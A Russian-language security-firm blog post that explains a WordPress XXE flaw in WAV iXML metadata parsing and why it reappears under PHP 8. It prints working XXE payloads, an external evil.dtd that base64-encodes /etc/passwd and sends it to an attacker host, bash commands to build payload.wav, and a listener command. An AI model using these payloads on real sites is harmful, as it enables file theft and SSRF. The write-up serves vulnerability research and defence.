Специалисты компании Roundsec постоянно отслеживают и анализируют новые уязвимости, не забывая о старых, которые могут вернуться после любого обновления в программном обеспечении.

В ходе недавнего исследования нашим специалистам попался довольно интересный вектор уязвимости, который задействуется в случае, если вы обновите PHP  до последней 8 версии. Но обо всем по порядку.

В ходе проведения работ по тестированию на проникновение мы можем столкнуться с уязвимостью, которая позволяет нам выполнять атаки XML eXternal Entity (XXE) Injection. Инъекция внешних сущностей XML (XXE)— это тип атаки на приложение, которое анализирует ввод XML. Хотя это довольно специфическая уязвимость по сравнению с другими векторными атаками веб-приложений, как например, Cross-Site Request Forgery (CSRF), но не стоит недооценивать возможное влияние, поскольку оно может привести к извлечению конфиденциальных данных и даже к удаленному исполнению кода (RCE).

Версии WordPress 5.7, 5.6.2, 5.6.1, 5.6, 5.6.2, 5.6.1, 5.6, 5.0.11. подвержены XML eXternal Entity уязвимости, когда аутентифицированный пользователь с правами на загрузку файлов в медиа-библиотеку может загрузить специально сгенерированный вредоносный WAV файл, что и  может привести к удаленному произвольному раскрытию файлов и провести SSRF атаку. SSRF — это вид атаки на веб-сервер, которая позволяет злоумышленнику выполнять запросы от имени веб-сервера.

WordPress использует библиотеку ID3 для анализа информации об аудио файле, загруженном в медиа библиотеку, которая была уязвима для XXE. Но что же такое библиотека GetID3, и почему WordPress использует ее?

Метаданные и IXML

Аудио формат MPEG и MP3 содержит слой ID3. В ID3 содержатся данные о названии трека, альбома, имени исполнителя и т. д., которые используются медиа плеерами и другими программами, а также аппаратными проигрывателями для отображения информации о файле и автоматического упорядочивания аудиоколлекции.

Пример метаданных  ID3 в  звуковом файле

Тег содержится в 128 байтах (125 байт + 3 байта префикса «тега») и имеет следующую структуру:

Waveform Audio File Format (WAVE, WAV, от англ. waveform — “в форме волны”) — формат файла-контейнера для хранения записи оцифрованного аудиопотока, подвид RIFF.

Он имеет определенный формат контейнера (фрагмент  или “chunk”), который включает четырехсимвольный тег и размер (количество байтов) фрагмента. Как ответвление от формата RIFF, WAV-файлы могут включать в себя метаданные в специальном информационном блоке, и один из видов используемых метаданных называется iXML.

iXML — это открытый стандарт для включения расположения метаданных звука в аудиофайлах, применяемых в  широковещательных вещаниях, как трансляция звука, видеофайлов, а также IP-видео и аудиопотоки. Формат включает в себя информацию о сцене, съемке и заметки. WordPress может анализировать эту информацию из тегов iXML, с помощью функции simplexml_load_string(), которая расположена в wp-includes/ID3/getid3.lib.php файле.

функция simplexml_load_string возвращает строку как XML

Очень упрощенный фрагмент данных iXML в монофайле с самыми базовыми объектами метаданных будет выглядеть примерно так:

iXML

Инъекция внешних сущностей XML (XXE уязвимость)

Как говорилось ранее, автор в WordPress может загрузить медиафайл в медиатеку WordPress, чтобы использовать его в посте. После загрузки файла WAVE функция WordPress wp_read_audio_metadata() извлекает аудиоинформацию из метаданных iXML, включенных в переменную $thisfile_riff_WAVE[‘iXML’][0][‘data’], которая может содержать вредоносную нагрузку XXE.

XML позволяет нам определять сущности, которые могут быть повторно использованы внутри документа, например:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><Id>381</Id></stockCheck>
Приложение не защищено от атак XXE, поэтому можно использовать уязвимость XXE для получения файла /etc/passwd, отправив следующую конструкцию XXE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><Id>&xxe;</ Id></stockCheck>

Эта структура XXE определяет внешнюю сущность &xxe, значение которой является содержимым файла /etc/passwd, и использует сущность со значением Id. Это приводит к тому, что ответ приложения включает содержимое файла:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Говоря о XXE в WordPress, результат анализа метаданных iXML не отправляется обратно пользователю, поэтому для его использования нам нужна слепая (blind) полезная нагрузка XXE. Это можно сделать, создав свой файл DTD (Document Type Definition — определение типа документа) и загрузив его на наш контролируемый сервер. DTD описывает схему документа для конкретного языка разметки посредством набора объявлений [объектов-параметров, элементов и атрибутов элементов], которые описывают его класс (или тип) с точки зрения синтаксических ограничений этого документа. DTD может быть объявлен внутри XML-документа или в качестве внешней ссылки. Например, полезная нагрузка, содержащаяся в метаданных iXML у WAV файла, может выглядеть так:

<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://example.com/evil.dtd'>%remote;%init;%trick;]>

И содержимое файла evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

 

<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://example.com/?p=%file;'>" >

Первая строка присваивает объекту файла результат: php://filter/read=convert.base64-encode/resource=/etc/passwd.
PHP-обертка php:// позволяет нам получать доступ к различным потокам ввода и вывода, а php://filter — это своего рода мета-оболочка, предназначенная для применения фильтров к потоку во время открытия. Благодаря этому мы можем преобразовать в base64 содержимое файла (в примере выше /etc/passwd) и присвоить результат сущности %file. Далее, мы можем отправить на контролируемый нами сервер содержимое файла %file и отфильтровать его.

После загрузки вредоносного WAV файла злоумышленник получает HTTP-запрос, который включает в аргумент p GET содержимое файла /etc/passwd, закодированное в base64.

Пример HTTP запроса, полученного злоумышленником на свой сервер

Декодировав base64 содержимое из аргумента p из GET запроса, злоумышленник может прочитать содержимое веб-сервера WordPress /etc/passwd:

Декодированное содержимое /etc/passwd

Создаем WAV файл для эксплуатации

Нам не потребуется никаких специальных библиотек для генерации полезной нагрузки в аудио файле и записать ее в iXML метаданные. Все необходимое можно сделать в Bash:

 

Как пример:

echo -en ‘RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00YOUR_XML_PAYLOAD_HERE\x00’> payload.wav

И на основе вышеупомянутой нагрузки генерируем WAV файл:

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick;]>\x00' > payload.wav

Далее создадим файл evil.dtd и поместим туда XML содержимое, с указанием ip и порта нашего сервера:

Запустим веб-сервер в той же директории, где находится наш файл evil.dtd . Это можно сделать при помощи netcat или средствами php:

php -S 0.0.0.0:9123

И затем загружаем наш созданный WAV файл в WordPress Медиа Библиотеку:

При загрузке файла отрабатывает наша полезная нагрузка

Декодируем ответ сервера из base64 и получаем содержимое /etc/passwd

Дальнейший анализ

Данная уязвимость поверхностно была описана в интернете, но не было сказано, почему уязвимость появилась вновь, поэтому наши специалисты решили исследовать этот вектор далее.

Обращаем внимание в описаниях, что уязвимость работает на PHP8 (последняя версия на момент написания статьи).
Поищем информацию о том, почему выполнение уязвимости стало возможным. Поиск в интернете уводит нас в 2012 год, когда WordPress исправила эту уязвимость.

уязвимость датирована аж 2012 годом и была исправлена…на несколько лет

Речь идет о функции PHP libxml_disable_entity_loader , давайте обратимся к документации:

libxml_disable_entity_loader ( bool $disable = true ) : bool

Отключение/включение возможности загружать внешние сущности. Обратите внимание, что отключение загрузки внешних сущностей может вызвать общие проблемы с загрузкой XML-документов.

нужная нам функция

Читаем описание далее и обращаем внимание на следующее сообщение:

Вот и ответ — с обновлением PHP до последней версии, мы лишаемся защиты от устранённой много лет назад уязвимости.
Дело в том, что эта функция используется не только в WordPress. Она может быть применена, когда мы, к примеру, заказали у программиста поправить наш плагин или обновить его на готовый, или дополнить наш сайт кодом, где используется данная библиотека.В результате получим готовую уязвимость на сервере.

Проверяем нашу догадку и видим, что недолгий поиск в интернете ее:

уязвимость в стороннем плагине с более 800 000 установок, где используется данная функция

Таких плагинов с уязвимой функцией в коде может быть сотни, и поэтому нет никакой гарантии, что полностью защищённый сервер после очередного обновления внезапно не станет уязвимым.

Как защитить себя от подобной ситуации? Специалисты компании Roundsec рекомендуют проводить повторные проверки, аудиты, тесты на проникновение после глобальных обновлений ПО. Наша компания постоянно мониторит и обновляет базу уязвимостей для своевременного реагирования и предотвращения инцидентов.

Закажите аудит у настоящих профессионалов своего дела.

https://roundsec.io

Reference links


Поделиться публикацией в социальных сетях:

Хотите обсудить свой проект?

Заполните форму, и наши менеджеры бесплатно проконсультируют вас.




    our BLOG

    Последние публикации

    Категории